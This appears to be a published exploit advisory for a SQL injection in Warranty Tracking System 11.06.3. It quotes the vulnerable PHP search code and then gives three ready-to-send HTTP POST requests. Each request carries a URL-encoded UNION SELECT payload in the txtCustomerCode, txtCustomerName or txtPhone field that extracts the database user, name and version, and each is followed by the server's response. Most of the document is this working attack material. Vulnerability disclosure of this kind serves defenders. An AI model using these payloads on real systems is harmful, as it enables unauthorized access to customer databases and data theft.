Warranty Tracking System 11.06.3 - txtCustomerCode SQL Injection

# Exploit Title: Warranty Tracking System 11.06.3 - 'txtCustomerCode' SQL Injection
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://warrantytrack.org/
# Software Link: https://kent.dl.sourceforge.net/project/warrantytrack/warrantytrack%20Rel.11.06.3.zip
# Version: 11.06.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# //[PATH]//Customer//SearchCustomer.php
# ....
#83 $strSQL = "SELECT * FROM tblCustomers WHERE 1=1 ";
#84 if ( strlen($_POST["txtCustomerCode"])>0 )
#85 	$strSQL .= " And cCuctomerID Like '%" . $_POST["txtCustomerCode"] . "%'";
#86 	
#87 if ( strlen($_POST["txtCustomerName"])>0 )
#88 	$strSQL .= " And cName Like '%" . $_POST["txtCustomerName"] . "%'";
#89 
#90 if ( strlen($_POST["txtPhone"])>0 )
#91 	$strSQL .= " And cPhone Like '%" . $_POST["txtPhone"] . "%'";
#92 
#93 $Result = mysql_query($strSQL);
#94 
#95 while($Field_Customer = mysql_fetch_array($Result))
#96 	{
# ....

# POC: 
# 1) 
# http://localhost/[PATH]/SearchCustomer.php?pDivAlert=NoCustomer
# 
POST /PATH/customer/SearchCustomer.php?pDivAlert=NoCustomer HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=909k34togduf8v49mibgj6cpp5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 244
txtCustomerCode=%27%20%55%6e%69%4f%6e%20%53%65%6c%65%63%74%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%2c%33%2c%34%2c%35%2c%36%2d%2d%20%2d
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 06:03:04 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4245
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2) 
# http://localhost/[PATH]/SearchCustomer.php?pDivAlert=NoCustomer
# 
POST /PATH/customer/SearchCustomer.php?pDivAlert=NoCustomer HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=909k34togduf8v49mibgj6cpp5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 244
txtCustomerName=%27%20%55%6e%69%4f%6e%20%53%65%6c%65%63%74%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%2c%33%2c%34%2c%35%2c%36%2d%2d%20%2d
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 06:05:13 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4245
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 3) 
# http://localhost/[PATH]/SearchCustomer.php?pDivAlert=NoCustomer
# 
POST /PATH/customer/SearchCustomer.php?pDivAlert=NoCustomer HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=909k34togduf8v49mibgj6cpp5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 237
txtPhone=%27%20%55%6e%69%4f%6e%20%53%65%6c%65%63%74%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%2c%33%2c%34%2c%35%2c%36%2d%2d%20%2d
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 06:06:25 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4252
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8